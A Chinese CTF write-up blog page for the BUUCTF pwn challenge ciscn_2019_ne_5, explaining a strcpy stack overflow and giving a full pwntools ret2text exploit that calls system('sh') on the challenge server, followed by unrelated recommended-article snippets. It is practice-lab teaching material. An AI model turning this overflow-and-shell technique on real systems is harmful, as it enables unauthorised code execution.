BUUCTF-ciscn_2019_ne_51

buuctf13-17题 ok 阅读详情

0x1 checksec

 根据文件名可知是other shellcode

0x2 IDA

1.main函数

s1只有48,但是scanf读入100,存在溢出点

2.GetFlag函数 

flag就是我们的log

读程序流程

 

case 1,添加一个log,然后case 4去get flag

程序存在system函数

调用bin/sh  去getshell

但是该题有一个小点

用ROPgadget搜不到'/bin/sh' 字符串

'/sh'    'sh'     

system的参数不一定必须是“/bin/sh”,单独的“sh”也可以拿到shell

 

0x3 EXP

from pwn import*

r=remote("node4.buuoj.cn",29072)
elf=ELF('20ciscn2019ne5')
system_addr=elf.sym['system']
shell_addr=0x80482ea

r.recvuntil('Please input admin password:')
r.sendline('administrator')

r.recvuntil('0.Exit\n:')
r.sendline('1')

payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)

r.recvuntil('Please input new log info:')
r.sendline(payload)

r.recvuntil('0.Exit\n:')
r.sendline('4')

r.interactive()

BUUCTF—ciscn_2019_n_1 1 这道题是栈溢出题型,又不同于一般的栈溢出,在此做个总结。 查看权限 拖入IDA,F5可用函数 解题思路:这道题的意思是输入字符串v1,判断v2。考虑输入长字符串覆盖到存储v2的内存空间,把v2的值改掉。 因此,覆盖0x30-0x4=44个字节给v1,另外4个字节给v2 由于v2数值在内存中以16进制存储,所以,找到11.28125的16进制值。 存在两个比较指令,双击进去。 0x41348000就是16进制的11.28125。 编写脚本 from pwn import * p=remote(' 阅读详情

相关推荐

BUU CTF ciscn_2019_n_1

新手向对BUU CTF ciscn_2019_n_1该题的两种解法

A_fish_like_sing的博客 2216

BUUCTF ciscn_2019_ne_5 & jarvisoj_fm

只开起了部分RELRO与NX。IDA中发现4个函数mainGetFlagAddLog主要只需要看这3个函数。

红叶的博客 883

【解决方案】使用transformer指定显卡后,模型依然加载到默认第1张显卡上

按理说指定了环境变量为后面几张显卡,模型会自动加载到我们指定的显卡上。可是查看gpu使用情况,发现还是加载在了第一张显卡上,这是为啥呢?

m0_56745306的博客 2441

[buuctf]ciscn_2019_ne_5

buuctf ciscn_2019_ne_5题目分析

逆向萌新的博客 2193

从零开始:MTK ISP调试中的ImagiqSimulator实战指南

本文详细介绍了MTK ISP调试中ImagiqSimulator的实战应用,从环境准备、参数加载到核心模块调整,提供全面的调试流程指南。重点讲解了DM模块参数优化技巧和常见问题解决方案,帮助工程师高效完成ISP调试工作,提升图像处理质量。

weixin_29168813的博客 489

Coding Plan:程序员真实工作的可执行编码决策框架

Coding Plan 是一种面向工程实践的编码决策方法论,它超越传统学习路径,聚焦于代码在真实业务系统中的上下文对齐、影响控制与可演进性保障。其核心在于将模糊的开发直觉转化为可度量、可验证、可协作的日常动作,涵盖目标对齐、上下文锁定、验证闭环、协作契约和演进预留五大锚点。结合2026年AI辅助编码新范式,它强调将大模型作为‘上下文翻译器’而非代码生成器,并通过分钟级工作块、技术债主动发行、可观测性前置等机制,显著提升交付确定性与系统长期健康度。本文详解该框架的底层逻辑与落地实践。

weixin_33326218的博客 438

BUUCTF-pwn-ciscn_2019_ne_51

我们看到strcpy是将src的内容复制到dest。我们前面看到src允许我们输入128个字节。而dest数组离ebp只有0x48个字节。32为程序没有canary没有PIE,应该是简单的栈溢出。程序上来是输入一个密码验证。随便输入下错误直接退出。那么我们需要构造的东西都有了,接着就是找溢出点。它会把我们的输入放入src这个数组中。主函数大致流程在此。当找不到/bin/sh的时候,可以用sh代替。这里就有一个小技巧了。

qq_30528603的博客 518

高速DAC时钟与配置实战:DAC5681Z硬件设计与寄存器编程详解

在高速数据转换系统中,时钟信号是决定系统性能的核心要素,其稳定性和纯净度直接影响数模转换器(DAC)的输出频谱纯度与动态范围。时钟电路的设计原理涉及信号完整性、阻抗匹配与直流偏置,而内部锁相环(PLL)和延迟锁相环(DLL)的配置则是实现精确时序控制的关键技术。这些技术的价值在于,它们共同保障了高速通信、雷达和任意波形生成等应用对信号实时性与精度的严苛要求。本文聚焦于德州仪器(TI)的DAC5681Z,深入解析其外部时钟输入电路的硬件设计要点,包括端接电阻的计算与选型,并详细拆解通过串行外设接口(SPI)对

weixin_30342363的博客 186

BUUCTF ciscn_2019_n_1 1

可以通过溢出v2来覆盖v1的值从而获取flag首先v1是浮点数11.28125的二进制是0x413480。

qq_56313338的博客 538

HID报告描述符实战解析:从Usage到Item的完整设计流程

本文深入解析了HID报告描述符的设计流程,从核心概念Usage(用途定义)入手,详细阐述了如何通过Item(条目)的三种角色——全局、局部与主干,构建出能被系统正确识别的设备“说明书”。文章以标准USB鼠标和键盘为例进行实战拆解,并介绍了使用Report ID与自定义设备等进阶设计方法,帮助开发者掌握这一实现USB设备即插即用的关键技术。

weixin_29230865的博客 282

C/C++关于VScode报错“终端将被任务重用,按任意键关闭”的解决方案

这其实不是一种报错,有这个提示的原因是本地端口是被共享的,所以必须关闭一个进程才能执行另一个,只需要对 tasks.json文件做一些修改即可。 报错时候 此时的tasks.json为: { "version": "2.0.0", "command": "g++", "args": ["-g","${file}","-o","${fileDirname}/${fileBasenameNoExtension}.exe"], // 编译命令参数 "problemMatche

Jerry Man的博客 6425

BUUCTF Pwn ciscn_2019_n_1 1

BUUCTF Pwn类型 ciscn_2019_n_1 1 解题过程

qq_45200829的博客 533

Android Profiler实战:如何用CPU分析工具揪出卡顿元凶(附线程状态解读)

本文深入解析Android Profiler中的CPU分析工具,重点聚焦线程活动监控。通过解读线程状态时间轴上的绿、黄、灰三色含义,并结合实战案例,指导开发者精准定位导致界面卡顿的CPU密集型或I/O阻塞代码,有效提升应用性能与用户体验。

weixin_29197699的博客 372

BUUCTF ciscn_2019_ne_5

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 588

SAP Group Reporting入门指南(8)--业务操作

关于资产负债表类的匹配,系统预设了SGR01和SGR02两个方法,主要区别在于数据的来源范围,SGR01取自ACDOCA和ACDOCU,如果是0F类型的就会直接显示日记账分录(期间是000的除外,这类凭证是年结结转的,系统不再跨年追溯),如果是其他类型就显示合并分录。这里是我觉得SAP还需要优化的地方。基于ICMR的抵消任务中通常将抵销差异细分为交易差异、货币换算差异和其他差异,这在基于重分类抵消任务是无法实现的,基于重分类抵消只知道一个差异总额,很难从合并抵消凭证看出差异的来源,也没有审计线索可言。

bflyfish的博客 276

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

BUUCTF ciscn_2019_n_1

1.下载文件,用checksec一下: 2.用IDA64查看,进入func函数: 当v2=11.28125时获得flag,但只有v1的输入,没有v2输入。因为有一个gets函数,点击v1,v2可以知道,v1与v2差44个字节,可以通过输入v1的值去改变v2的值,实现栈溢出。 查看汇编可以看到有一个uconiss的比较指令,把xmm0与cs:dword_4007F4,由movss可以知道xmme0是v1或v2的值,那么点击dword_4007F4 看到一个 dd ,百度一下可以知道,.

RookieMOR的博客 888

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

三种方式搞定buuctf之ciscn_2019_n_1

三种方法解ciscn_2019_n_1,简单易懂,走过路过不要错过

weixin_54452942的博客 994

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

ciscn_2019_ne_5

ciscn_2019_ne_5 查看保护 密码已经给了我们,直接上去然后就看见了三个选项,没有4,ida之后才看见了。 看一下add和getflag这两个函数 add这里的a1就是main中的src。 getflag中将src给copy到dest中,dest离ebp有0x48大小。而src离ebp有0xfc个大小,可以通过add写入rop的payload,然后让getflag来执行这个rop。这题可以正常的ret2libc也可以ret2text,这题的shell是/sh,一开始年朝着/bin/sh

z1r0的博客 170

[CTF] ciscn_2019_ne_5

ciscn_2019_ne_5

凉水的博客 653

ciscn_2019_ne_5【BUUCTF】

ciscn_2019_ne_5 BUUCTF

qq_41696518的博客 802

【BUUCTFPWN】ciscn_2019_ne_5

【BUUCTFPWN】ciscn_2019_ne_5

m0_55368674的博客 409

scanf 溢出原理 小程序 密码验证

因为在scanf函数读入数据时,如果输入的数据过长,会覆盖掉栈里面其他变量的内容。达到溢出利用。本程序只是掩饰如何覆盖其密码,达到越过验证!   在本程序中第一次输入  1111111122222第2次输入22222就可以通过验证   具体可以下断点查看内存数据的变化 #include "stdafx.h"#include int main(int argc, char

yeook的专栏 975

[BUUCTF-PWN] ciscn_2019_n_1

程序运行流程中,当v2等于11.28125时,将读取flag中的内容。因此需要将v2的内容覆盖成11.28125,但其为浮点类型,需要转化为其对应的十六进制形式,为0x41348000。结构如下图所示,为0x30-0x4=0x2c,即当往v1写入0x2c个垃圾数据时,刚好填满v1,即将开始填v2。1、发现存在gets函数,可导致栈溢出漏洞,其中v1长度为0x30。方法1:栈溢出直接跳转到system(“cat /flag”)2、在下方存在system函数读取flag文件,1、v1到v2的距离。

weixin_44570459的博客 526

buu-ciscn_2019_ne_5-好久不见50

a1是我们外面传进来的src = 48,读取128个就造成了溢出。通过分析程序的漏洞点(例如通过格式化字符串漏洞或堆溢出漏洞),找到可以覆盖返回地址的偏移量。程序的交互逻辑需要先输入密码,然后选择操作,最后通过溢出漏洞触发 ROP 链。ADDLog():我们看到这里是输入log,跟我们的flag有关系。程序提示输入新的 log,此时发送构造的 ROP 链。通过网络交互,发送构造的 ROP 链,并触发漏洞。函数的地址(用于防止程序崩溃)。程序提供选项,需要选择。填充到返回地址的偏移量。

lzx13290757580的博客 434

BUUCTF-ciscn_2019_n_51

没有开启保护,有可写segments,考虑shellcode。

Rt1Text的博客 555
上一篇: BUUCTF-ciscn_2019_n_51
下一篇: BUUCTF-others_shellcode1
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值